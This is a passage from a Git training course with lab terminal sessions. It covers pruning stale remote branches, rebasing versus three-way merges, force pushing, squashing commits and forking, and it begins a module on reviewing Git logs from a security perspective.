branches needs to be updated. We know we used the hacker user to
remove the newFeature_darkMode branch from the local repository,
but this branch still appears from the perspective of the collector
user. Git maintains a local list of remote branches for each user
and this list has not been updated. This can also be verified by
attempting to remove the branch from the remote repository with the
collector user.
collector@git:~/my_comic_collection$ git push origin --delete newFeature_darkMode
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
error: unable to delete 'newFeature_darkMode': remote ref does not exist
error: failed to push some refs to 'ssh://git:2222/follow_along/my_comic_collection.git'
collector@git:~/my_comic_collection$ git branch -r
origin/HEAD -> origin/main
origin/main
origin/newFeature_darkMode
Listing 57 - Attempt to delete remote newFeature_darkMode branch
We get an error because the server cannot delete something that
doesn't exist. Yet, it is still displayed on our list when we check
the branch list for the remote repository.
Sometimes, we have to update our local list of remote branches.
Let's do that by using git remote with the update option. This
option will update the local list of the remote branch for the remote
we specify in our command. In our case, it is the origin remote.
We will also use the --prune option, which removes the local
stale references. Lastly, we will check the branch list for the remote
repository to verify it was removed.
collector@git:~/my_comic_collection$ git remote update origin --prune
Fetching origin
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
From ssh://git:2222/follow_along/my_comic_collection
- [deleted] (none) -> origin/newFeature_darkMode
collector@git:~/my_comic_collection$ git branch -r
origin/HEAD -> origin/main
origin/main
Listing 58 - Remove stale references
Our collector user's local repository is fully updated. Now that
both users' local repository are updated with the remote repository,
let's explore rebasing.
In this scenario, both hacker and collector users have pulled the
latest updates from the remote repositories. Both users will work on
their own individual projects independently of each other at the same
time. While collector continues to work, hacker will push updates
to the remote repository within the main branch. This will result
in a 3-way merge. Instead, we will rebase the branches. Let's get
started.
First, we will go back to the hacker user, add a few commits, and
push the changes to the remote repository.
hacker@git:~/my_comic_collection$ echo "create blog" >> todo.txt
hacker@git:~/my_comic_collection$ git add todo.txt
hacker@git:~/my_comic_collection$ git commit -m "added create blog to the to do list"
[main a71f8d4] added create blog to the to do list
1 file changed, 1 insertion(+)
hacker@git:~/my_comic_collection$ echo "create account creation method" >> todo.txt
hacker@git:~/my_comic_collection$ git add todo.txt
hacker@git:~/my_comic_collection$ git commit -m "added account creation to the to do list"
[main 9736f49] added account creation to the to do list
1 file changed, 1 insertion(+)
hacker@git:~/my_comic_collection$ echo "test for security vulnerabilities" >> todo.txt
hacker@git:~/my_comic_collection$ git add todo.txt
hacker@git:~/my_comic_collection$ git commit -m "added vulnerability assessment to the to do list"
[main b4fd899] added vulnerability assessment to the to do list
1 file changed, 1 insertion(+)
hacker@git:~/my_comic_collection$ git push
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Enumerating objects: 11, done.
Counting objects: 100% (11/11), done.
Compressing objects: 100% (9/9), done.
Writing objects: 100% (9/9), 860 bytes | 215.00 KiB/s, done.
Total 9 (delta 5), reused 0 (delta 0), pack-reused 0
To ssh://git:2222/follow_along/my_comic_collection.git
222b445..b4fd899 main -> main
Listing 59 - Add commits and push update to remote repository
We added three commits to the remote repository for the main branch.
Now, let's switch over to the collector user.
hacker@git:~/my_comic_collection$ su collector
Password:
collector@git:/home/hacker/my_comic_collection$ cd /home/collector/my_comic_collection/
collector@git:~/my_comic_collection$
Listing 60 - Switch to the collector user
Once we are inside the Git local repository, let's create a new branch
named vulnChecklist.
collector@git:~/my_comic_collection$ git checkout -b vulnChecklist
Switched to a new branch 'vulnChecklist'
Listing 61 - Create a new branch
Our new branch is created. Let's make a few changes and create three
commits.
collector@git:~/my_comic_collection$ echo "use Burp to run automatic scans" > vulnChecklist.txt
collector@git:~/my_comic_collection$ git add vulnChecklist.txt
collector@git:~/my_comic_collection$ git commit -m "started vuln checklist"
[vulnChecklist 62a32de] started vuln checklist
1 file changed, 1 insertion(+)
create mode 100644 vulnChecklist.txt
collector@git:~/my_comic_collection$ echo "manually test web app for injection specific vulns" >> vulnChecklist.txt
collector@git:~/my_comic_collection$ git add vulnChecklist.txt
collector@git:~/my_comic_collection$ git commit -m "added manual injection testing to vuln checklist"
[vulnChecklist 4935aed] added manual injection testing to vuln checklist
1 file changed, 1 insertion(+)
collector@git:~/my_comic_collection$ echo "check for authentication and authorization vulns" >> vulnChecklist.txt
collector@git:~/my_comic_collection$ git add vulnChecklist.txt
collector@git:~/my_comic_collection$ git commit -m "added authorization and authentication testing to vuln checklist"
[vulnChecklist 48fdff1] added authorization and authentication testing to vuln checklist
1 file changed, 1 insertion(+)
Listing 62 - Commit a few changes
As the collector user, we finished our work by submitting three
commits. Before we move forward, we will need to record the last
commit hash ID, 48fdff, to the side. We will reference this commit
when we need to reset the branch HEAD.
Before merging, we want to make to sure we have an updated version of
the main branch. Let's switch to the main branch and pull the most
up to date information from the remote repository.
collector@git:~/my_comic_collection$ git checkout main
Switched to branch 'main'
Your branch is up to date with 'origin/main'.
collector@git:~/my_comic_collection$ git pull origin main
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 9 (delta 5), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (9/9), 840 bytes | 210.00 KiB/s, done.
From ssh://git:2222/follow_along/my_comic_collection
* branch main -> FETCH_HEAD
222b445..b4fd899 main -> origin/main
Updating 222b445..b4fd899
Fast-forward
todo.txt | 3 +++
1 file changed, 3 insertions(+)
Listing 63 - Update the main branch
Our local main branch is updated. Locally, we should have two
divergent branches. Let's confirm that by reviewing the log.
collector@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 6
* commit 48fdff14f511b6e255c4a52c304fb8d8d5202805 (vulnChecklist)
| Author: Collector <collector@local>
|
| added authorization and authentication testing to vuln checklist
|
* commit 4935aedd3c31515cd6e17ebb177e757a1210fc98
| Author: Collector <collector@local>
|
| added manual injection testing to vuln checklist
|
* commit 62a32de4bb953745a8fdc0b8eb55e5bc7a668c7f
| Author: Collector <collector@local>
|
| started vuln checklist
|
| * commit b4fd899573bb063f455964e2c44012260e599b94 (HEAD -> main, origin/main, origin/HEAD)
| | Author: Hacker <hacker@local>
| |
| | added vulnerability assessment to the to do list
| |
| * commit 9736f49b92bac7fdfa830d893ba9f703987f7c0f
| | Author: Hacker <hacker@local>
| |
| | added account creation to the to do list
| |
| * commit a71f8d44d44f83bdb7e304ac2bbcf438674086d3
|/ Author: Hacker <hacker@local>
|
| added create blog to the to do list
Listing 64 - Check the commit log
We have three commits in each branch that we need to combine.
Highlighted in red are commits from our local branch, vulnChecklist.
Highlighted in green are commits from our local branch, main.
These commits were recently updated in our local commit history from
the remote repository. This scenario where the remote repository is
updated with other users' commits while we work on our branch is not
uncommon.
This seems like an easy 3-way merge.
collector@git:~/my_comic_collection$ git merge vulnChecklist
Merge made by the 'ort' strategy.
vulnChecklist.txt | 3 +++
1 file changed, 3 insertions(+)
create mode 100644 vulnChecklist.txt
collector@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 7
* commit b69f32608a7b881f62bb6584ba26953bb68caf05 (HEAD -> main)
|\ Merge: b4fd899 48fdff1
| | Author: Collector <collector@local>
| |
| | Merge branch 'vulnChecklist'
| |
| * commit 48fdff14f511b6e255c4a52c304fb8d8d5202805 (vulnChecklist)
| | Author: Collector <collector@local>
| |
| | added authorization and authentication testing to vuln checklist
| |
| * commit 4935aedd3c31515cd6e17ebb177e757a1210fc98
| | Author: Collector <collector@local>
| |
| | added manual injection testing to vuln checklist
| |
| * commit 62a32de4bb953745a8fdc0b8eb55e5bc7a668c7f
| | Author: Collector <collector@local>
| |
| | started vuln checklist
| |
* | commit b4fd89 9573bb063f455964e2c44012260e599b94 (origin/main, origin/HEAD)
| | Author: Hacker <hacker@local>
| |
| | added vulnerability assessment to the to do list
| |
* | commit 9736f49b92bac7fdfa830d893ba9f703987f7c0f
| | Author: Hacker <hacker@local>
| |
| | added account creation to the to do list
| |
* | commit a71f8d44d44f83bdb7e304ac2bbcf438674086d3
|/ Author: Hacker <hacker@local>
|
| added create blog to the to do list
Listing 65 - 3-way merge
As mentioned before though, this creates an extra merge commit
(highlighted in red), which can be considered messy. Instead, we can
rebase. Let's reset the HEAD back and remove the last commit.
Remember, we are working in the main branch. To reset the HEAD,
we need to provide the commit hash of the commit we want our HEAD
pointer to point to. In this case, it is going to be the most recent
commit in the main branch prior to merging, b4fd89.
collector@git:~/my_comic_collection$ git reset --hard b4fd89
HEAD is now at b4fd899 added vulnerability assessment to the to do list
Listing 66 - Reset the HEAD and remove the most recent commit
Now, let's checkout the vulnChecklist branch and rebase it using
git rebase.[775] With this command, we are rebasing the
commits from the vulnChecklist branch into the main branch.
collector@git:~/my_comic_collection$ git checkout vulnChecklist
Switched to branch 'vulnChecklist'
collector@git:~/my_comic_collection$ git rebase main
Successfully rebased and updated refs/heads/vulnChecklist.
Listing 67 - Use git rebase
We have successfully rebased our branch. Let's review the log.
collector@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 6
* commit 548bd56d8b091790bfc89ca878c3453a355655fe (HEAD -> vulnChecklist)
| Author: Collector <collector@local>
|
| added authorization and authentication testing to vuln checklist
|
* commit d2484bd91dfdbdddfcff2d9571ada13fb2443f35
| Author: Collector <collector@local>
|
| added manual injection testing to vuln checklist
|
* commit 7d2aecf342ca9db5d90fb85da0d9532a236ff910
| Author: Collector <collector@local>
|
| started vuln checklist
|
* commit b4fd899573bb063f455964e2c44012260e599b94 (origin/main, origin/HEAD, main)
| Author: Hacker <hacker@local>
|
| added vulnerability assessment to the to do list
|
* commit 9736f49b92bac7fdfa830d893ba9f703987f7c0f
| Author: Hacker <hacker@local>
|
| added account creation to the to do list
|
* commit a71f8d44d44f83bdb7e304ac2bbcf438674086d3
| Author: Hacker <hacker@local>
|
| added create blog to the to do list
Listing 68 - Review the commit log
Now we have a linear history. Let's discuss what exactly happened.
When we use the git rebase command, Git actually invokes the git
cherry-pick[776] command, among others. This command
will take the changes of a commit and re-apply them to create a new
commit object, and removes the old commit object. This is a very
important distinction to remember.
If we compare the hashes of the last three commit objects before and
after the rebase, we will notice that they are different. Although
the changes of the snapshot are the same when we compare a rebase to a
fast-forward merge, the way they work is fundamentally different.
Fast-forward moves the HEAD pointer to an already existing commit
object, while rebasing manipulates the commit history and creates new
commit objects by copying the changes from existing commit objects to
create new commit objects. As we learn more about rebasing, we must be
careful to understand that rebasing does not copy the commit object.
Rebasing simply replays the creation of a commit to create a new (and
almost identical) commit object.
Because we are manipulating the commit history, we need to make sure
that are very careful to not rebase public repositories. For example,
let's say we rebase the main branch on top of the vulnChecklist
branch and push to the remote repository. If multiple developers
are working off of the vulnChecklist branch, it can cause a lot
of confusion. So when rebasing, we should limit it to our local
repositories.
The other thing to point out is the downside of manipulating history
in order to clean it up. Cleaning it up can make certain things
easier in the future. However, some individuals think that altering
our commit history removes the evidence of exactly what we did.
Some believe the preservation of those digital footprints are more
important than a clean history.
The last thing to note is that the HEAD of main did not move.
So, we have to run a git merge command, which will use the
default, fast-forward merge, to move the HEAD to the most recent
commit.
collector@git:~/my_comic_collection$ git checkout main
Switched to branch 'main'
Your branch is up to date with 'origin/main'.
collector@git:~/my_comic_collection$ git merge vulnChecklist
Updating b4fd899..548bd56
Fast-forward
vulnChecklist.txt | 3 +++
1 file changed, 3 insertions(+)
create mode 100644 vulnChecklist.txt
Listing 69 - Fast-forward merge
Perfect! We were able to successfully complete the fast-forward merge.
Let's review the history.
collector@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 6
* commit 548bd56d8b091790bfc89ca878c3453a355655fe (HEAD -> main, vulnChecklist)
| Author: Collector <collector@local>
|
| added authorization and authentication testing to vuln checklist
|
* commit d2484bd91dfdbdddfcff2d9571ada13fb2443f35
| Author: Collector <collector@local>
|
| added manual injection testing to vuln checklist
|
* commit 7d2aecf342ca9db5d90fb85da0d9532a236ff910
| Author: Collector <collector@local>
|
| started vuln checklist
|
* commit b4fd899573bb063f455964e2c44012260e599b94 (origin/main, origin/HEAD)
| Author: Hacker <hacker@local>
|
| added vulnerability assessment to the to do list
|
* commit 9736f49b92bac7fdfa830d893ba9f703987f7c0f
| Author: Hacker <hacker@local>
|
| added account creation to the to do list
|
* commit a71f8d44d44f83bdb7e304ac2bbcf438674086d3
| Author: Hacker <hacker@local>
|
| added create blog to the to do list
Listing 70 - Review commit history
Wonderful! Our history is cleaned up and the changes were applied.
Next, let's explore a slightly different scenario. This time, instead
of having two branches and rebasing them locally, we will rebase the
remote main branch with the changes applied to our local main
branch.
First, we have to reset our HEAD for the main branch locally and
remotely. To get the commit hash, we will need to review the commit
log and find the commit with the message "Merge branch 'toDoList'".
In this case, it is 222b44. Then, when we push an update to the
remote repository, we will need to use the --force option. This
rewrites the remote commit history with our local history. In the
real world, actions like these may not be permitted, depending on
permissions. This is because altering the remote commit history can
have detrimental effects.
collector@git:~/my_comic_collection$ git reset --hard 222b44
HEAD is now at 222b445 Merge branch 'toDoList'
collector@git:~/my_comic_collection$ git push --force origin 222b44:main
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
Total 0 (delta 0), reused 0 (delta 0), pack-reused 0
To ssh://git:2222/follow_along/my_comic_collection.git
+ b4fd899...222b445 222b44 -> main (forced update)
Listing 71 - Reset the HEAD locally and remotely for the main branch
The HEAD for the local and remote repositories are updated.
We also have to reset our HEAD for the local vulnChecklist
branch. If we recall from earlier, we recorded a hash ID to the side,
48fdff. We will need to use this hash to reset the HEAD for
the local vulnChecklist branch.
collector@git:~/my_comic_collection$ git checkout vulnChecklist
Switched to branch 'vulnChecklist'
collector@git:~/my_comic_collection$ git reset --hard 48fdff
HEAD is now at 48fdff1 added authorization and authentication testing to vuln checklist
Listing 72 - Reset the HEAD locally for the vulnChecklist branch
Let's return to the hacker user and push the changes again to
the remote repository.
collector@git:~/my_comic_collection$ exit
exit
hacker@git:~/my_comic_collection$ git push
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Enumerating objects: 11, done.
Counting objects: 100% (11/11), done.
Compressing objects: 100% (9/9), done.
Writing objects: 100% (9/9), 860 bytes | 286.00 KiB/s, done.
Total 9 (delta 5), reused 0 (delta 0), pack-reused 0
To ssh://git:2222/follow_along/my_comic_collection.git
222b445..b4fd899 main -> main
Listing 73 - Push updates from the hacker user
Let's switch back to the collector user.
hacker@git:~/my_comic_collection$ su collector
Password:
collector@git:/home/hacker/my_comic_collection$ cd /home/collector/my_comic_collection/
Listing 74 - Switch to the collector user
Let's make sure we are under the main branch and let's perform
a fast-forward merge of the vulnChecklist branch into the main
branch locally.
collector@git:~/my_comic_collection$ git checkout main
Switched to branch 'main'
Your branch is up to date with 'origin/main'.
collector@git:~/my_comic_collection$ git merge vulnChecklist
Updating 222b445..48fdff1
Fast-forward
vulnChecklist.txt | 3 +++
1 file changed, 3 insertions(+)
create mode 100644 vulnChecklist.txt
Listing 75 - Fast-forward merge
Finally, let's try pulling from the remote repository.
collector@git:~/my_comic_collection$ git pull
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
From ssh://git:2222/follow_along/my_comic_collection
222b445..b4fd899 main -> origin/main
hint: You have divergent branches and need to specify how to reconcile them.
hint: You can do so by running one of the following commands sometime before
hint: your next pull:
hint:
hint: git config pull.rebase false # merge (the default strategy)
hint: git config pull.rebase true # rebase
hint: git config pull.ff only # fast-forward only
hint:
hint: You can replace "git config" with "git config --global" to set a default
hint: preference for all repositories. You can also pass --rebase, --no-rebase,
hint: or --ff-only on the command line to override the configured default per
hint: invocation.
fatal: Need to specify how to reconcile divergent branches.
Listing 76 - Pull from the remote repository results in requiring us to reconcile divergent branches
Uh oh! Git recognizes that this requires either a merge or a rebase.
It provides us with a few options, highlighted in green. For example,
we can allow Git to approve only fast-forward merges. This means
everything else will fail. Or, we can set rebase to either true or
false. We can also edit our config file so that Git can perform the
same actions in the future.
We are not going to edit the configuration file at this time. For
now, keep in mind that this is an option. Making these types of
configuration settings depends on many factors and experience will
help dictate how to best approach each situation.
In this case, let's run the git pull command using the
--rebase option, which we'll set to "true".
collector@git:~/my_comic_collection$ git pull --rebase=true
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
Successfully rebased and updated refs/heads/main.
Listing 77 - Use git pull with rebase option
Awesome! Our rebase pull worked.
In conclusion, we achieved the same thing as we did with the previous
rebase. With the previous rebase, we use two different local branches.
With this rebase, we used our remote main branch and our local
main branch to rebase our local branch.
Let's remove the vulnChecklist branch, because we no longer need
it.
collector@git:~/my_comic_collection$ git branch -d vulnChecklist
error: The branch 'vulnChecklist' is not fully merged.
If you are sure you want to delete it, run 'git branch -D vulnChecklist'.
Listing 78 - Attempt to delete vulnChecklist branch
We received an error. Keep in mind, we did a rebase instead of a
merge. Although the content of the commit objects is the same, the
commit objects themselves are different, mainly because of things like
different time stamps. According to Git, however, it seems like we
still need to merge these changes, even though we know that we don't.
Let's force delete it with the -D option as suggested in the
output.
collector@git:~/my_comic_collection$ git branch -D vulnChecklist
Deleted branch vulnChecklist (was ba854a6).
Listing 79 - Force delete vulnChecklist branch
With the branch deleted, let's check the commit history.
collector@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 7
* commit 0a93ac6a69410a180f7c73631d1b174c89565a84 (HEAD -> main)
| Author: Collector <collector@local>
|
| added authorization and authentication testing to vuln checklist
|
* commit 2abe7a5e36fd7e5664a244885687b6192d097a77
| Author: Collector <collector@local>
|
| added manual injection testing to vuln checklist
|
* commit 8b1bb9d0399f2e541b410403535d09a37c059585
| Author: Collector <collector@local>
|
| started vuln checklist
|
* commit b4fd899573bb063f455964e2c44012260e599b94 (origin/main, origin/HEAD)
| Author: Hacker <hacker@local>
|
| added vulnerability assessment to the to do list
|
* commit 9736f49b92bac7fdfa830d893ba9f703987f7c0f
| Author: Hacker <hacker@local>
|
| added account creation to the to do list
|
* commit a71f8d44d44f83bdb7e304ac2bbcf438674086d3
| Author: Hacker <hacker@local>
|
| added create blog to the to do list
|
* commit 222b44585d3fe0bbea758dce62a115a54b2956a9
|\ Merge: 996f93e 1188c6c
| | Author: Hacker <hacker@local>
| |
| | Merge branch 'toDoList'
Listing 80 - Review the commit history
Perfect! The changes that the hacker user made are reflected under
the changes that we made as the collector user. Our history is clean
and linear.
The last aspect to quickly outline in this section is an idea known as
squashing. The gist of the idea is that we combine multiple commits
into one. This is very similar to a rebase, where we alter the commit
history to have a cleaner log.
In a situation where we didn't merge our commits yet, we could run
git merge --squash. However, in our situation, we want to squash
the last three commits into one.
Let's enter git rebase using the -i option for interactive
rebase, and specify the last three commits counting down from the
HEAD commit.
collector@git:~/my_comic_collection$ git rebase -i HEAD~3
Listing 81 - Interactive rebase
Once we do that, a text editor should pop up. On the left hand
side of each commit message, there is the the word "pick". This
is one of the many commands that we can use and the text editor
displays each command. For our situation, we will replace the
words "pick" with "squash" for the last two commits only. This will
combine the commit with the one above it. So, commit 3 will combine
with commit 2, which in turn will combine with commit 1. Figure
2 shows an example of this.
We should save and exit. Afterwards, a new text editor, shown in the
screenshot below, will appear that allows us to provide a new commit
message for the new commit. Remember, this new commit combines the
changes for all three commits into one.
We will provide a commit message, then save, and exit. Figure
4 shows an example commit message.
Finally, we should have received output that our squash command was
successful. We can confirm this by examining the log.
collector@git:~/my_comic_collection$ git rebase -i HEAD~3
[detached HEAD a21ad93] combine 3 commits into 1
Date: Mon Jan 01 00:00:01 2022 +0000
1 file changed, 3 insertions(+)
create mode 100644 vulnChecklist.txt
Successfully rebased and updated refs/heads/main.
collector@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 2
* commit a21ad9338ed2449e43a8dd416db77b98d2720cfa (HEAD -> main)
| Author: Collector <collector@local>
|
| combine 3 commits into 1
|
* commit b4fd899573bb063f455964e2c44012260e599b94 (origin/main, origin/HEAD)
| Author: Hacker <hacker@local>
|
| added vulnerability assessment to the to do list
Listing 82 - Examine commit log
Our squash was successful.
That completes the Rebasing and squashing section. The last section
in this Learning Unit is Forking. Let's continue after finishing a few
exercises.
Forking is a concept that isn't built into Git, but it used by many
repository hosting services like GitLab and GitHub. It is very similar
to cloning, with a slight difference. Cloning makes a copy of the
remote repository on the local machine. Developers work on their local
copies and update the central or remote repository, which is shared by
all the developers.
When we fork a repository, we are making a copy, but we are creating
a whole new remote repository. The new copy is a new and separate
central or remote repository that only we have access to. Access can
be changed, but initially, by default, we own the remote repository
that we fork. If we clone from the forked repository and make changes,
it will affect our forked remote repository, and not the original.
As hinted above, one of the primary purposes of forking is to make
changes to a repository that we may not have write access to. The
main thing to keep in mind is that the forked repository is a totally
different repository that the original. Changes to one repository are
not applied to the other and vice versa.
A real world example of forking is MariaDB being forked from MySQL.
While both are open source, the code repositories are totally
separate. In this example, another factor in terms of differences
is licensing. Both are free to use for personal or community use.
However, for enterprise or commercial use, MySQL might require a
purchased business license, depending on the purposes. On the other
hand, MariaDB is fully free to use at the commercial level.
Let's browse to
http://<ip>:8080/follow_along/my_comic_collection. We might
have to log in to access this. Use either the hacker or collector
credentials to log in.
Once we are logged in, we need to identify the Fork button near the
top right section, as shown in the screenshot below.
Let's click that button, which brings up a new web page, displayed
below.
This is where we can select our options and then fork the repository,
or project in the case of GitLab.
This section does not have a walkthrough. Once we fork a repository,
we are able to interact with the repository and perform similar
actions like any other Git repository. Feel free to use the lab and
fork projects to get some practice.
This module is best followed by the Introduction to Git Security
Learning Module, where we will explore Git from a security
perspective. We will discuss various security considerations that
cover areas like authentication and authorization, among others.
Introduction to Git Security
In this Learning Module, we will cover the following Learning Unit:
- Git secure: examine Git from a security perspective
Git Secure: Examine Git from a Security Perspective
This Learning Unit covers the following Learning Objectives:
- Review the history log and undo changes
- Understand the risks of self-hosting repositories
- Identify ways secrets can be compromised
- Understand authentication methods with Git
- Demonstrate ways to implement gitignore
- Understand the importance of signed commits
- Explain authorization methods related to Git
In this Learning Unit, we will cover various security factors
to consider when using or administering Git. We will begin by
demonstrating how to review logs and ways to reverse or undo data that
was staged or committed. Next, we will discuss a security implication
of self-hosting our Git repository. We will also cover some
configuration items that can potentially become vulnerabilities if
not implemented properly. Lastly, we will outline a few authentication
and authorization methods and things to keep in mind to protect our
sensitive data.
While these concepts do require some level of security knowledge,
they are still considered beginner-level in terms of using Git. More
advanced Git-related vulnerabilities and secure methods will not be
covered in this module.
We should arrive with a basic understanding of Git concepts and/or
having completed the Getting Started with Git and Git Branching and
Merging Learning Modules.
Although we can complete this module without following along, to get
the most out of this section it is highly encouraged to do so. By
typing the commands as we discuss them, we can get a better grasp of
the concepts.
To follow along, we'll turn on the associated VM and use the
credentials provided to SSH into the machine as the user hacker.
Also, we will likely receive an error: Could not resolve
host: gitsec. In that case, we can either add this host to our
/etc/hosts file or we can change the host, "gitsec" to our VM IP
address in the command line.
If you want use your own machine to follow along, you can.
However, keep in mind that some commands will require the lab
environment.
In this section we will discuss a few commands that deal with viewing
the development history, restoring or reverting commits, and similar
tasks. This is important not only from an operational perspective
but also in terms of security. Understanding these concepts can help
us, troubleshoot, fix mistakes, and reduce the risk of accidentally
compromising sensitive data.
Git log[777] displays information about commits in reverse
chronological order, with the most recent commit at the top, and
the first commit at the bottom. There are a few options worth
mentioning that are particularly useful.
If we have not used SSH to access the lab VM yet, let's do that as
hacker. Then, we will need to change directories into
the my_comic_collection directory. This directory is a local
repository.
First, let's review the output if we run git log without any
options.
hacker@gitsec:~/my_comic_collection$ git log
commit b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (HEAD -> main, origin/main, origin/HEAD)
Author: Collector <collector@local>
Date: Wed Oct 12 20:25:19 2022 +0000
add some heroes, villains, and locations
commit c54ee0dbf603dcdc1139f310f21a0c686e96a1b5
Author: Hacker <hacker@local>
Date: Wed Oct 12 20:25:13 2022 +0000
add Marvel Villains folder with a few Villains
commit 6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175
Author: Hacker <hacker@local>
Date: Wed Oct 12 20:25:13 2022 +0000
Add initial files and folders for heroes and villains
commit d6cf001da7eaa0d51bf27a0f007c9696f675ef59
Author: Administrator <magneto@local>
Date: Wed Oct 12 19:48:32 2022 +0000
Initial commit
Listing 1 - Default git log
The command displays the commit hash, author, date, and message. This
can be useful if we want a general overview of each commit.
We may want a shorter version of the commit history though. In that
case, we can use the --pretty option to output different pretty
formats.[778] First, we'll use this option with the
oneline argument to display the hash and the commit message on one
line.
hacker@gitsec:~/my_comic_collection$ git log --pretty=oneline
b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (HEAD -> main, origin/main, origin/HEAD) add some heroes, villains, and locations
c54ee0dbf603dcdc1139f310f21a0c686e96a1b5 add Marvel Villains folder with a few Villains
6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175 Add initial files and folders for heroes and villains
d6cf001da7eaa0d51bf27a0f007c9696f675ef59 Initial commit
Listing 2 - Git log with --pretty=oneline option
This option is useful if we need to reference the hash and/or commit
message only. It is also helpful if we are reviewing a large number of
commits.
We can use the short argument to add the author, in case we want
to display which user committed the data.
hacker@gitsec:~/my_comic_collection$ git log --pretty=short
commit b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (HEAD -> main, origin/main, origin/HEAD)
Author: Collector <collector@local>
add some heroes, villains, and locations
commit c54ee0dbf603dcdc1139f310f21a0c686e96a1b5
Author: Hacker <hacker@local>
add Marvel Villains folder with a few Villains
commit 6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175
Author: Hacker <hacker@local>
Add initial files and folders for heroes and villains
commit d6cf001da7eaa0d51bf27a0f007c9696f675ef59
Author: Administrator <magneto@local>
Initial commit
Listing 3 - Git log with --pretty=short option
In some situations, we may want to display the changes associated
with the commit, in addition to the above information. We can use the
--stat option to display this.
hacker@gitsec:~/my_comic_collection$ git log --stat
commit b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (HEAD -> main, origin/main, origin/HEAD)
Author: Collector <collector@local>
Date: Wed Oct 12 20:25:19 2022 +0000
add some heroes, villains, and locations
Heroes/MarvelHeroes | 2 ++
Locations/DCLocations | 1 +
Locations/MarvelLocations | 1 +
Villains/DCVillains | 3 +++
4 files changed, 7 insertions(+)
commit c54ee0dbf603dcdc1139f310f21a0c686e96a1b5
Author: Hacker <hacker@local>
Date: Wed Oct 12 20:25:13 2022 +0000
add Marvel Villains folder with a few Villains
Villains/MarvelVillains | 2 ++
1 file changed, 2 insertions(+)
commit 6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175
Author: Hacker <hacker@local>
Date: Wed Oct 12 20:25:13 2022 +0000
Add initial files and folders for heroes and villains
Heroes/DCHeroes | 3 +++
Heroes/MarvelHeroes | 1 +
Villains/DCVillains | 1 +
3 files changed, 5 insertions(+)
commit d6cf001da7eaa0d51bf27a0f007c9696f675ef59
Author: Administrator <magneto@local>
Date: Wed Oct 12 19:48:32 2022 +0000
Initial commit
README.md | 92 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 92 insertions(+)
Listing 4 - Git log with --stat option
The output is fairly lengthy, so digesting it ourselves might be
difficult. This output is ideal if we want to get a summarized view of
which files were changed in each commit.
Lastly, we may want to analyze detailed commits. This option is
useful if we want to deeply analyze a limited number of commits. This
output with a large number of commits will likely require some sort of
automated parsing to analyze it properly.
The -p option runs a diff command in addition to a log
command and outputs detailed information about each commit.
To help avoid a lengthy output, we can restrict the number of commits
displayed with the -<number> option, which shows the last
"number" of commits.
Let's show the last commit.
hacker@gitsec:~/my_comic_collection$ git log -p -1
commit b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (HEAD -> main, origin/main, origin/HEAD)
Author: Collector <collector@local>
Date: Wed Oct 12 20:25:19 2022 +0000
add some heroes, villains, and locations
diff --git a/Heroes/MarvelHeroes b/Heroes/MarvelHeroes
index 113032a..2e59c15 100644
--- a/Heroes/MarvelHeroes
+++ b/Heroes/MarvelHeroes
@@ -1 +1,3 @@
Spider-Man
+Hulk
+Thor
diff --git a/Locations/DCLocations b/Locations/DCLocations
new file mode 100644
index 0000000..1f90d8f
--- /dev/null
+++ b/Locations/DCLocations
@@ -0,0 +1 @@
+Gotham City
diff --git a/Locations/MarvelLocations b/Locations/MarvelLocations
new file mode 100644
index 0000000..78e91c1
--- /dev/null
+++ b/Locations/MarvelLocations
@@ -0,0 +1 @@
+Asgard
diff --git a/Villains/DCVillains b/Villains/DCVillains
index eb01a38..abe7c59 100644
--- a/Villains/DCVillains
+++ b/Villains/DCVillains
@@ -1 +1,4 @@
Catwoman
+Penguin
+Two-Face
+Scarecrow
Listing 5 - Git log with -p -1 options
As Listing 5 shows, this command displays a
plethora of information about the commit. Because of this, we will
likely use this command for one or two commits. Otherwise, reviewing
the output might take a lot of time.
Depending on the situation, we can display the commit history in
various formats. Next, let's walk through a few scenarios that involve
undoing our work. A word of warning: These commands can make changes
to a repository that cannot be undone. In other words, it can erase
work that cannot be easily recovered.
As we may recall, there are three main Git states. The working
directory (or working tree) state contains changes we are actively
or currently making. In this state, changes are either labeled as
tracked or untracked, depending on whether a previous version of
the file exists within Git or not.
The second state is staged, where Git tracks the changes in its
index data structure. To stage our changes, we simply use the git
add command.
The last state is the committed state. Using the git commit
command, we commit our changes to the local repository. This means
Git creates a snapshot that contains a new version of the changes made
since the previous commit, or snapshot.
First, we will cover the git restore[779] command, which
can undo changes in the working tree for tracked files. It can also
unstage changes, or move the changes from the staging state back to
the working tree state.
Let's say we wanted to append a line to a file, but accidentally
overwrote the file instead.
hacker@gitsec:~/my_comic_collection$ cat Heroes/DCHeroes
Superman
Batman
WonderWoman
hacker@gitsec:~/my_comic_collection$ echo "BlackCanary" > Heroes/DCHeroes
hacker@gitsec:~/my_comic_collection$ git add Heroes/DCHeroes
hacker@gitsec:~/my_comic_collection$ cat Heroes/DCHeroes
BlackCanary
Listing 6 - Typo mistake example
